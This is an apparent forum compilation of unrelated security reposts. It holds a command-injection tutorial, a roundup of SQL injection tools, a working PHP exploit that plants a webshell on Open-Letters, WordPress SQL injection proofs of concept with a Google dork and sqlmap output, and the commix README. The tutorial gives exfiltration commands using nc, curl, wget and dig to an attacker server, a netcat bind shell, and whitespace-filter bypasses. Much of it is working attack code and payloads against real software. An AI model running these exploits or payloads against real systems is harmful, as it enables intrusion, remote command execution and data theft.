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A command injection is a class of vulnerabilities where the attacker can control one or multiple commands that are being executed on a system. This post will go over the impact, how to test for it, defeating mitigations, and caveats. Before diving into command injections, let’s get something out of the way: a command injection is not the same as a remote code execution (RCE). The difference is that with an RCE, actual programming code is executed, whereas with a command injection, it’s an (OS) command being executed. In terms of possible impact, this is a minor difference, but the key difference is in how you find and exploit them. Setting up Let’s start by writing two simple Ruby scripts that you can run locally to learn finding and exploiting command injection vulnerabilities. I used Ruby 2.3.3p222. Below is ping.rb. puts `ping -c 4 #{ARGV[0]}` This script will ping the server that’s being passed to the script as argument. It will then return the command output on the screen. Example output below. $ ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=23.653 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=9.111 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=8.571 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=20.565 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.571/15.475/23.653/6.726 ms As you can see, it executed ping -c 4 8.8.8.8 and displayed the output on the screen. Here’s another script that will be used in the blog post: server-online.rb. puts `ping -c 4 #{ARGV[0]}`.include?('bytes from') ? 'yes' : 'no' This script will determine whether the server is online based on an ICMP response (ping). If it responds to the ping request, it’ll display yes on the screen. In case it doesn’t, it’ll display no. The output of the command isn’t returned to the user. Example output below. $ ruby server-on.rb '8.8.8.8' yes $ ruby server-on.rb '8.8.8.7' no Testing One of the best ways to detect a first-order command injection vulnerability is trying to execute a sleep command and determine if the execution time increases. To start with this, let’s establish a time baseline for the ping.rb script: $ time ruby ping.rb '8.8.8.8' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.09s user 0.04s system 4% cpu 3.176 total Notice that executing script takes about 3 seconds. Now let’s determine if the script is vulnerable to a command injection by injecting a sleep command. $ time ruby ping.rb '8.8.8.8 && sleep 5' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... 0.10s user 0.04s system 1% cpu 8.182 total The script will now execute the command ping -c 4 8.8.8.8 && sleep 5. Notice the execution time again: it jumped from ~3 seconds to ~8 seconds, which is an increase of exactly 5 seconds. There can still be unexpected delays on the internet, so it’s important to repeat the injection and play with the amount of seconds to make sure it’s not a false positive. Let’s determine whether the server-online.rb script is vulnerable, too. $ time ruby server-online.rb '8.8.8.8' yes 0.10s user 0.04s system 4% cpu 3.174 total $ time ruby server-online.rb '8.8.8.8 && sleep 5' yes 0.10s user 0.04s system 1% cpu 8.203 total Again, the baseline shows executing a normal request takes about 3 seconds. Adding && sleep 5 to the command increases the time to 8 seconds. Depending on the command being executed, the sleep command may be injected differently. Here are a few payloads that you can try when looking for command injections (they all work): time ruby ping.rb '8.8.8.8`sleep 5`' When a command line gets parsed, everything between backticks is executed first. Executing echo `ls` will first execute ls and capture its output. It’ll then pass the output to echo, which displays the output of ls on the screen. This is called command substitution. Since execution of the command between backticks takes precedence, it doesn’t matter if the command executed afterwards fails. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8`sleep 5` sleep command executed, command substitution works in command line. ping -c 4 "8.8.8.8`sleep 5`" sleep command executed, command substitution works in complex strings (between double quotes). ping -c 4 $(echo 8.8.8.8`sleep 5`) sleep command executed, command substitution works in command substitution when using a different notation (see example below). ping -c 4 '8.8.8.8`sleep 5`' sleep command not executed, command substitution does not work in simple strings (between single quotes). ping -c 4 `echo 8.8.8.8`sleep 5`` sleep command not executed, command substitution does not work when using the same notation. time ruby ping.rb '8.8.8.8$(sleep 5)' This is a different notation for command substitution. This may be useful when backticks are filtered or encoded. When using command substitution to look for command injections, make sure to test both notations to avoid true-negatives in case the payload is already being substituted (see last example in table above). time ruby ping.rb '8.8.8.8; sleep 5' Commands are executed in a sequence (left to right) and they can be separated with semicolons. When a command in the sequence fails it won’t stop executing the other commands. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8;sleep 5 sleep command executed, sequencing commands works when used on the command line. ping -c 4 "8.8.8.8;sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8;sleep 5) sleep command executed, sequencing commands works in command substitution. ping -c 4 '8.8.8.8;sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8;sleep 5` sleep command executed, sequencing commands works in command substitution. time ruby ping.rb '8.8.8.8 | sleep 5' Command output can be piped, in sequence, to another commands. When executing cat /etc/passwd | grep root, it’ll capture the output of the cat /etc/passwd command and pass it to grep root, which will then show the lines that match root. When the first command fail, it’ll still execute the second command. Below is a table of commands with injected payloads and its result. The injected payload is marked in green. Command Result ping -c 4 8.8.8.8 | sleep 5 sleep command executed, piping output works when used on the command line. ping -c 4 "8.8.8.8 | sleep 5" sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 $(echo 8.8.8.8 | sleep 5) sleep command executed, piping output works in command substitution. ping -c 4 '8.8.8.8 | sleep 5' sleep command not executed, the additional command is injected in a string, which is passed as argument to the ping command. ping -c 4 `echo 8.8.8.8 | sleep 5` sleep command executed, piping output works in command substitution. Exploiting To exploit the vulnerability for evidence is to determine whether it’s a generic or blind command injection. The difference between the two, is that a blind command injection doesn’t return the output of the command in the response. A generic command injection would return the output of the executes command(s) in the response. The sleep command is often a good proof of concept for either flavor. However, if you need more proof, execute id, hostname, or whoami and use the output as additional proof. The server’s hostname is useful to determine how many servers are affected and help the vendor to get a sense of impact faster. Important: needless to say, most companies don’t appreciate you snooping around on their systems. Before exploiting the vulnerability to pivot into something else, ask permission to the company. In nearly all situations proving that executing arbitrary but harmless commands like sleep, id, hostname or whoami is enough to proof impact to the affected company. Exploiting generic command injection This is usually pretty straightforward: the output of any injected command will be returned to the user: $ ruby ping.rb '8.8.8.8 && whoami' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.008 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=8.572 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=9.309 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=9.005 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.572/8.973/9.309/0.263 ms jobert The red part shows the output of the ping command. The green text the output of the whoami command. From this point, you can gather evidence for your proof of concept. Again, stick to harmless commands. Exploiting blind command injection With blind command injections the output isn’t returned to the user, so we should find other ways to extract the output. The most straightforward technique is to offload the output to your server. To simulate this, run nc -l -n -vv -p 80 -k on your server and allow inbound connections on port 80 in your firewall. Once you’ve set up the listener, use nc, curl, wget, telnet, or any other tool that sends data to the internet, to send the output to your server: $ ruby server-online.rb '8.8.8.8 && hostname | nc IP 80' yes Then observe a connection being made to your server that shows the output of the hostname command: $ nc -l -n -vv -p 80 -k Listening on [0.0.0.0] (family 0, port 81) Connection from [1.2.3.4] port 80 [tcp/*] accepted (family 2, sport 64225) hacker.local In the example above, nc is used to send the output of the command to your server. However, nc might be deleted or unable to execute. To avoid going down a rabbit hole, there are a few simple payloads to determine if a command exists. In case any of the commands increase the time with 5 seconds, you know the command exists. curl -h && sleep 5 wget -h && sleep 5 ssh -V && sleep 5 telnet && sleep 5 When you’ve determined a command exists, you can use any of those commands to send the output of a command to your server, like this: whoami | curl http://your-server -d @- wget http://your-server/$(whoami) export C=whoami | ssh user@your-server (setup the user account on your-server to authenticate without a password and log every command being executed) Even though the server-online.rb script doesn’t output the result of the hostname command, the output can be sent to a remote server and obtained by an attacker. In some cases, outbound TCP and UDP connections are blocked. It’s still possible to extract the output in that case, we just have to do a little bit more work. In order to extract the output, we have to guess the output based on something that we can change. In this case, the execution time can be increased using the sleep command. This can be used to extract the output. The trick here is to pass the result of a command to the sleep command. Here’s an example: sleep $(hostname | cut -c 1 | tr a 5). Let’s analyze this for a moment. It’s executing the hostname command. Let’s assume it returns hacker.local. It’ll take that output and pass it to cut -c 1. This will take the first character of hacker.local, which is the character h. It passes it to tr a 5, which will replace the character a with a 5 in the output of the cut command (h). The output of the tr command is then passed to the sleep command, resulting in sleep h being executed. This will immediately error, since sleep can only take a number as first argument. The goal is then to iterate over the characters with the tr command. Once you execute sleep $(hostname | cut -c 1 | tr h 5), the command will take 5 seconds longer to execute. This is how you determine that the first character is an h. Once you guessed a character, increase the number you pass to the cut -c command, and repeat. Here’s a table with the commands to determine the output: Command Time Result ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 1 | tr h 5)' 8s h ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 2 | tr a 5)' 8s a ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr a 5)' 3s - ruby server-online.rb '8.8.8.8;sleep $(hostname | cut -c 3 | tr c 5)' 8s c To determine how many characters you need to guess: pipe the output of hostname to wc -c and pass that to the sleep command. hacker.local is 12 characters. The hostname command returns the hostname and a new line, so wc -c will return 13. We established that normally, the script takes 3 seconds to complete. $ time ruby server-online.rb '8.8.8.8 && sleep $(hostname | wc -c)' yes 0.10s user 0.04s system 0% cpu 16.188 total The payload above shows that the script now takes 16 seconds to complete, which means the output of hostname is 12 characters: 16 - 3 (baseline) - 1 (new line) = 12 characters. When executing this payload on a web server, know that the output may change: the length of the hostname could change when requests are handled by different servers. The technique above works fine for smaller outputs, but can take a long time for reading a file. Some of the following methods can be pretty intrusive, so always make sure the company gave you a thumbs up to use more invasive extraction methods. In case outbound connections are blocked and the output is too long to read, here are a few other tricks to try (useful during CTFs): Run a port scan on the server and based on the exposed services, determine a way to extract the output. FTP: try writing the file to a directory you can download files from. SSH: try writing the output of the command to the MOTD banner, then simply SSH to the server. Web: try writing the output of the command to a file in a public directory (/var/www/). Spawn a shell on a port that can be reached from the outside (only available in custom netcat build): nc -l -n -vv -p 80 -e /bin/bash (unix) or nc -l -n -vv -p 80 -e cmd.exe (windows). Do a DNS query with dig or nslookup to send the output to port 53 (UDP): dig `hostname` @your-server or nslookup `hostname` your-server. Output can be captured with nc -l -n -vv -p 53 -u -k on your server. This may work because outbound DNS traffic is often allowed. Check out this tweet how to offload file contents with dig. Change the ICMP packet size when pinging your server to offload data. tcpdump can be used to capture the data. Check out this tweet how to do this. There’s plenty of other ways, but it often depends on what kind of options the servers gives you. The technique shown above are most common when exploiting command injection vulnerabilities. The key is to use what you have to extract the output! Defeating mitigations Sometimes mitigations have been put in place, which may cause the above techniques not to work. One of the mitigations that I’ve seen over the years, is a restriction on whitespace in the payload. Luckily, there’s something called Brace Expansion that can be used to create payloads without whitespace. Below is ping-2.rb, which is the second version of ping.rb. Before passing the user input to the command, it removes whitespace from the input. puts `ping -c 4 #{ARGV[0].gsub(/\s+?/,'')}` When passing 8.8.8.8 && sleep 5 as argument, it’d execute ping -c 4 8.8.8.8&&sleep5, which will result in an error showing that the command sleep5 isn’t found. There’s an easy workaround by using brace expansion: $ time ruby ping-2.rb '8.8.8.8;{sleep,5}' ... 0.10s user 0.04s system 1% cpu 8.182 total Here’s a payload that sends the output of a command to an external server without using whitespace: $ ruby ping.rb '8.8.8.8;hostname|{nc,192.241.233.143,81}' PING 8.8.8.8 (8.8.8.8): 56 data bytes ... Or to read /etc/passwd: $ ruby ping.rb '8.8.8.8;{cat,/etc/passwd}' PING 8.8.8.8 (8.8.8.8): 56 data bytes 64 bytes from 8.8.8.8: icmp_seq=0 ttl=46 time=9.215 ms 64 bytes from 8.8.8.8: icmp_seq=1 ttl=46 time=10.194 ms 64 bytes from 8.8.8.8: icmp_seq=2 ttl=46 time=10.171 ms 64 bytes from 8.8.8.8: icmp_seq=3 ttl=46 time=8.615 ms --- 8.8.8.8 ping statistics --- 4 packets transmitted, 4 packets received, 0.0% packet loss round-trip min/avg/max/stddev = 8.615/9.549/10.194/0.668 ms ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. ... Whenever a command is being executed with user input mitigations have to be put in place by the developer. Developers take different routes to implement mitigations, so it’s up to you to discover what they did and how to work around them. Happy hacking! Jobert. Source :

In This Tutorial We Will Learn , 1:Checking Vulnerability Using Diffirent Methods. 2:Balancing Our Query 3:integer Based SQL Injection 4:String Based SQL Injection Read Here !! Welcome To RAi Jee Official Blog: SQL Injection- Basics Of SQLi Part-1

BSQL Hacker BSQL hacker is a nice SQL injection tool that helps you perform a SQL injection attack against web applications. This tool is for those who want an automatic SQL injection tool. It is especially made for Blind SQL injection. This tool is fast and performs a multi-threaded attack for better and faster results. It supports 4 different kinds of SQL injection attacks: Blind SQL Injection Time Based Blind SQL Injection Deep Blind (based on advanced time delays) SQL Injection Error Based SQL Injection This tool works in automatic mode and can extract most of the information from the database. It comes in both GUI and console support. You can try any of the given UI modes. From GUI mode, you can also save or load saved attack data. It supports multiple injection points including query string, HTTP headers, POST, and cookies. It supports a proxy to perform the attack. It can also use the default authentication details to login into web accounts and perform the attack from the given account. It supports SSL protected URLs, and can also be used on SSL URLs with invalid certificates. BSQL Hacker SQL injection tool supports MSSQL, ORACLE and MySQL. But MySQL support is experimental and is not as effective on this database server as it is for other two. Download BSQL Hacker here: Download SQLmap SQLMap is the open source SQL injection tool and most popular among all SQL injection tools available. This tool makes it easy to exploit the SQL injection vulnerability of a web application and take over the database server. It comes with a powerful detection engine which can easily detect most of the SQL injection related vulnerabilities. It supports a wide range of database servers, including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB and HSQLDB. Most of the popular database servers are already included. It also supports various kind of SQL injection attacks, including boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries and out-of-band. One good feature of the tool is that it comes with a built-in password hash recognition system. It helps in identifying the password hash and then cracking the password by performing a dictionary attack. This tool allows you to download or upload any file from the database server when the db server is MySQL, PostgreSQL or Microsoft SQL Server. And only for these three database servers, it also allows you to execute arbitrary commands and retrieve their standard output on the database server. After connecting to a database server, this tool also lets you search for specific database name, specific tables or for specific columns in the whole database server. This is a very useful feature when you want to search for a specific column but the database server is huge and contains too many databases and tables. Download SQL Map from the link given below: https://github.com/sqlmapproject/sqlmap SQLninja SQLninja is a SQL injection tool that exploits web applications that use a SQL server as a database server. This tool may not find the injection place at first. But if it is discovered, it can easily automate the exploitation process and extract the information from the database server. This tool can add remote shots in the registry of the database server OS to disable data execution prevention. The overall aim of the tool is to allow the attacker to gain remote access to a SQL database server. It can also be integrated with Metasploit to get GUI access to the remote database. It also supports direct and reverse bindshell, both TCP and UDP. This tool is not available for Windows platforms. It is only available for Linux, FreeBSD, Mac OS X and iOS operating systems. Download SQLninja from the link given below: http://sqlninja.sourceforge.net/ Safe3 SQL Injector Safe3 SQL injector is another powerful but easy to use SQL injection tool. Like other SQL injection tools, it also makes the SQL injection process automatic and helps attackers in gaining the access to a remote SQL server by exploiting the SQL injection vulnerability. It has a powerful AI system which easily recognizes the database server, injection type and best way to exploit the vulnerability. It supports both HTTP and HTTPS websites. You can perform SQL injection via GET, POST or cookies. It also supports authentication (Basic, Digest, NTLM HTTP authentications) to perform a SQL injection attack. The tool supports wide range of database servers including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase and SAP MaxDB database management systems. For MYSQL and MS SQL, it also supports read, list or write any file from the database server. It also lets attackers execute arbitrary commands and retrieve their output on a database server in Oracle and Microsoft SQL server. It also support web path guess, MD5 crack, domain query and full SQL injection scan. Download Safe3 SQL injector tool from the link given below: http://sourceforge.net/projects/safe3si/ SQLSus SQLSus is another open source SQL injection tool and is basically a MySQL injection and takeover tool. This tool is written in Perl and you can extend the functions by adding your own codes. This tool offers a command interface which lets you inject your own SQL queries and perform SQL injection attacks. This tool claims to be fast and efficient. It claims to use a powerful blind injection attack algorithm to maximize the data gathered. For better results, it also uses stacked subqueries. To make the process even faster, it has multi-threading to perform attacks in multiple threads. Like other available SQL injection tools, it also supports HTTPS. It can perform attacks via both GET and POST. It also supports, cookies, socks proxy, HTTP authentication, and binary data retrieving. If the access to information_schema is not possible or table does not exist, it can perform a bruteforce attack to guess the name of the table. With this tool, you can also clone a database, table, or column into a local SQLite database, and continue over different sessions. If you want to use a SQL injection tool against a MySQL attack, you will prefer this tool because it is specialized for this specific database server. Download SQLsus from the link given below: http://sqlsus.sourceforge.net/ Mole Mole or (The Mole) is an automatic SQL injection tool available for free. This is an open source project hosted on Sourceforge. You only need to find the vulnerable URL and then pass it in the tool. This tool can detect the vulnerability from the given URL by using Union based or Boolean based query techniques. This tool offers a command line interface, but the interface is easy to use. It also offers auto-completion on both commands and command arguments. So, you can easily use this tool. Mole supports MySQL, MsSQL and Postgres database servers. So, you can only perform SQL injection attacks against these databases. This tool was written in Python and requires only Python3 and Python3-lxml. This tool also supports GET, POST and cookie based attacks. But you need to learn commands to operate this tool. Commands are not typical but you need to have them. List those commands or learn, it is your personal choice. Download Mole SQL injection tool from the link below: http://sourceforge.net/projects/themole/files/ Source

<?php /* OutPut: #[+] Author: TUNISIAN CYBER #[+] Script coded BY: Egidio Romano aka EgiX #[+] Title: Open-Letters Remote PHP Code Injection Vulnerability #[+] Date: 19-04-2015 #[+] Vendor: http://www.open-letters.de/ #[+] Type: WebAPP #[+] Tested on: KaliLinux (Debian) #[+] CVE: #[+] Twitter: @TCYB3R #[+] Egix's Contact: n0b0d13s[at]gmail[dot]com #[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png OL-shell> */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { if (!($sock = fsockopen($host, 80))) die( "\n[-] No response from {$host}:80\n"); fwrite($sock, $packet); return stream_get_contents($sock); } print "#[+] Author: TUNISIAN CYBER\n"; print "#[+] Script coded BY: Egidio Romano aka EgiX\n"; print "#[+] Title: Open-Letters Remote PHP Code Injection Vulnerability\n"; print "#[+] Date: 19-04-2015\n"; print "#[+] Vendor: http://www.open-letters.de/\n"; print "#[+] Type: WebAPP\n"; print "#[+] Tested on: KaliLinux (Debian)\n"; print "#[+] CVE:\n"; print "#[+] Twitter: @TCYB3R\n"; print "#[+] Egix's Contact: n0b0d13s[at]gmail[dot]com\n"; print "#[+] Proof of concept: http://i.imgur.com/TNKV8Mt.png"; if ($argc < 3) { print "\nUsage......: php $argv[0] <host> <path>"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /zenphoto/\n"; die(); } $host = $argv[1]; $path = $argv[2]; $exploit = "foo=<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>"; $packet = "POST {$path}external_scripts/tinymce/plugins/ajaxfilemanager/ajax_create_folder.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($exploit)."\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Connection: close\r\n\r\n{$exploit}"; http_send($host, $packet); $packet = "GET {$path}external_scripts/tinymce/plugins/ajaxfilemanager/inc/data.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Cmd: %s\r\n"; $packet .= "Connection: close\r\n\r\n"; while(1) { print "\nOL-shell> "; if (($cmd = trim(fgets(STDIN))) == "exit") break; preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); } ?> Source: http://packetstorm.wowhacker.com/1504-exploits/openletters-inject.txt

###################### # Exploit Title : Wordpress Ajax Store Locator <= 1.2 SQL Injection Vulnerability # Exploit Author : Claudio Viviani # Vendor Homepage : WordPress - Ajax Store Locator - Wordpress | CodeCanyon # Software Link : Premium # Dork Google: inurl:ajax-store-locator # index of ajax-store-locator # Date : 2015-03-29 # Tested on : Windows 7 / Mozilla Firefox # Linux / Mozilla Firefox ###################### # Info: The "sl_dal_searchlocation_cbf" ajax function is affected from SQL Injection vulnerability "StoreLocation" var is not sanitized # PoC Exploit: http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ) StoreLocation's value must contain "~" delimiter $storeLoc = $_REQUEST["StoreLocation"]; ... ... $qryVal = explode("~", $storeLoc); $sql_query = "SELECT a.*,b.*, 0 as ......... LEFT JOIN `$sl_tb_pluginset` as b ON (1=1) WHERE a.id=$qryVal[1]" # PoC sqlmap: sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1" -p StoreLocation --dbms mysql [18:24:11] [iNFO] GET parameter 'StoreLocation' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [18:24:18] [iNFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [18:24:18] [iNFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [18:24:24] [iNFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [18:24:29] [iNFO] checking if the injection point on GET parameter 'StoreLocation' is a false positive GET parameter 'StoreLocation' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection points with a total of 89 HTTP(s) requests: --- Parameter: StoreLocation (GET) Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind (SELECT) Payload: action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCKZ) --- [18:29:48] [iNFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 5.10 web application technology: PHP 5.3.3, Apache 2.2.3 back-end DBMS: MySQL 5.0.12 ##################### Discovered By : Claudio Viviani HomeLab IT - Virtualization, Security, Linux Blog - Virtualization, Security, Linux Blog archive_exploit Archives - HomeLab IT - Virtualization, Security, Linux Blog (Full HomelabIT Archive Exploit) F.F.H.D - Free Fuzzy Hashes Database (Free Fuzzy Hashes Database) info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww ##################### Source: http://packetstorm.wowhacker.com/1504-exploits/wpajaxstorelocator-sql.txt

__ ___ ___ ___ ___ ___ ___ /\_\ __ _ /'___\ / __`\ /' __` __`\ /' __` __`\/\ \ /\ \/'\ /\ \__//\ \L\ \/\ \/\ \/\ \/\ \/\ \/\ \ \ \\/> </ \ \____\ \____/\ \_\ \_\ \_\ \_\ \_\ \_\ \_\/\_/\_\ \/____/\/___/ \/_/\/_/\/_/\/_/\/_/\/_/\/_/\//\/_/ { v0.1b } +-- Automated All-in-One OS Command Injection and Exploitation Tool Copyright © 2015 Anastasios Stasinopoulos (@ancst) +-- General Information Commix (short for [comm]and njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. By using this tool, it is very easy to find and exploit a command injection vulnerability in a certain vulnerable parameter or string. Commix is written in Python programming language. Disclaimer The tool is only for testing and academic purposes and can only be used where strict consent has been given. Do not use it for illegal purposes!! Requirements Python version 2.6.x or 2.7.x is required for running this program. Installation Download commix by cloning the Git repository: git clone https://github.com/stasinopoulos/commix.git commix Usage Usage: python commix.py [options] Options -h, --help Show help and exit. --verbose Enable the verbose mode. --install Install 'commix' to your system. --version Show version number and exit. --update Check for updates (apply if any) and exit. Target This options has to be provided, to define the target URL. --url=URL Target URL. --url-reload Reload target URL after command execution. Request These options can be used, to specify how to connect to the target URL. --host=HOST HTTP Host header. --referer=REFERER HTTP Referer header. --user-agent=AGENT HTTP User-Agent header. --cookie=COOKIE HTTP Cookie header. --headers=HEADERS Extra headers (e.g. 'Header1:Value1\nHeader2:Value2'). --proxy=PROXY Use a HTTP proxy (e.g. '127.0.0.1:8080'). --auth-url=AUTH_.. Login panel URL. --auth-data=AUTH.. Login parameters and data. --auth-cred=AUTH.. HTTP Basic Authentication credentials (e.g. 'admin:admin'). Injection These options can be used, to specify which parameters to inject and to provide custom injection payloads. --data=DATA POST data to inject (use 'INJECT_HERE' tag). --suffix=SUFFIX Injection payload suffix string. --prefix=PREFIX Injection payload prefix string. --technique=TECH Specify a certain injection technique : 'classic', 'eval-based', 'time-based' or 'file-based'. --maxlen=MAXLEN The length of the output on time-based technique (Default: 10000 chars). --delay=DELAY Set Time-delay for time-based and file-based techniques (Default: 1 sec). --base64 Use Base64 (enc)/(de)code trick to prevent false- positive results. --tmp-path=TMP_P.. Set remote absolute path of temporary files directory. --icmp-exfil=IP_.. Use the ICMP exfiltration technique (e.g. 'ip_src=192.168.178.1,ip_dst=192.168.178.3'). --alter-shell Use an alternative os-shell (Python). Usage Examples Exploiting Damn Vulnerable Web App python commix.py --url="http://192.168.178.58/DVWA-1.0.8/vulnerabilities/exec/#" --data="ip=INJECT_HERE&submit=submit" --cookie="security=medium; PHPSESSID=nq30op434117mo7o2oe5bl7is4" Exploiting php-Charts 1.0 using injection payload suffix & prefix string: python commix.py --url="http://192.168.178.55/php-charts_v1.0/wizard/index.php?type=INJECT_HERE" --prefix="//" --suffix="'" Exploiting OWASP Mutillidae using Extra headers and HTTP proxy: python commix.py --url="http://192.168.178.46/mutillidae/index.php?popUpNotificationCode=SL5&page=dns-lookup.php" --data="target_host=INJECT_HERE" --headers="Accept-Language:fr\nETag:123\n" --proxy="127.0.0.1:8081" Exploiting Persistence using ICMP exfiltration technique : su -c "python commix.py --url="http://192.168.178.8/debug.php" --data="addr=127.0.0.1" --icmp-exfil="ip_src=192.168.178.5 Sursa: https://github.com/stasinopoulos/commix

#Vulnerability title: Wordpress plugin Simple Ads Manager - Multiple SQL Injection #Product: Wordpress plugin Simple Ads Manager #Vendor: https://profiles.wordpress.org/minimus/ #Affected version: Simple Ads Manager 2.5.94 and 2.5.96 #Download link: https://wordpress.org/plugins/simple-ads-manager/ #CVE ID: CVE-2015-2824 #Author: Le Hong Minh (minh.h.le@itas.vn) & ITAS Team ::PROOF OF CONCEPT:: ---SQL INJECTION 1--- + REQUEST: POST /wp-content/plugins/simple-ads-manager/sam-ajax.php HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/28.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: http://target.com/archives/wordpress-plugin-simple-ads-manager/ Content-Length: 270 Cookie: wooTracker=cx5qN1BQ4nmu; _ga=GA1.2.344989027.1425640938; PHPSESSID=kqvtir87g33e2ujkc290l5bmm7; cre_datacookie=8405688a-3dec-4d02-9405-68f53281e991; _gat=1 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache action=sam_hits&hits%5B0%5D%5B%5D=<SQL INJECTION HERE>&hits%5B1%5D%5B%5D=<SQL INJECTION HERE>&hits%5B2%5D%5B%5D=<SQL INJECTION HERE>&level=3 - Vulnerable file: simple-ads-manager/sam-ajax.php - Vulnerable code: case 'sam_ajax_sam_hits': if(isset($_POST['hits']) && is_array($_POST['hits'])) { $hits = $_POST['hits']; $values = ''; $remoteAddr = $_SERVER['REMOTE_ADDR']; foreach($hits as $hit) { $values .= ((empty($values)) ? '' : ', ') . "({$hit[1]}, {$hit[0]}, NOW(), 0, \"{$remoteAddr}\")"; } $sql = "INSERT INTO $sTable (id, pid, event_time, event_type, remote_addr) VALUES {$values};"; $result = $wpdb->query($sql); if($result > 0) echo json_encode(array('success' => true, 'sql' => $sql, 'addr' => $_SERVER['REMOTE_ADDR'])); else echo json_encode(array( 'success' => false, 'result' => $result, 'sql' => $sql, 'hits' => $hits, 'values' => $values )); } break; ---SQL INJECTION 2--- +REQUEST POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1 Host: hostname Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest action=load_posts&cstr=<SQL INJECTION HERE>&sp=Post&spg=Page + Vulnerable file: simple-ads-manager/sam-ajax-admin.php + Vulnerable code: case 'sam_ajax_load_posts': $custs = (isset($_REQUEST['cstr'])) ? $_REQUEST['cstr'] : ''; $sPost = (isset($_REQUEST['sp'])) ? urldecode( $_REQUEST['sp'] ) : 'Post'; $sPage = (isset($_REQUEST['spg'])) ? urldecode( $_REQUEST['spg'] ) : 'Page'; //set @RoW_num + 1 AS recid $sql = "SELECT wp.id, wp.post_title AS title, wp.post_type AS type FROM $postTable wp WHERE wp.post_status = 'publish' AND FIND_IN_SET(wp.post_type, 'post,page{$custs}') ORDER BY wp.id;"; $posts = $wpdb->get_results($sql, ARRAY_A); $k = 0; foreach($posts as &$val) { switch($val['type']) { case 'post': $val['type'] = $sPost; break; case 'page': $val['type'] = $sPage; break; default: $val['type'] = $sPost . ': '.$val['type']; break; } $k++; $val['recid'] = $k; } $out = array( 'status' => 'success', 'total' => count($posts), 'records' => $posts ); break; ---SQL INJECTION 3--- +REQUEST: POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php?searchTerm=<SQL INJECTION HERE> HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: 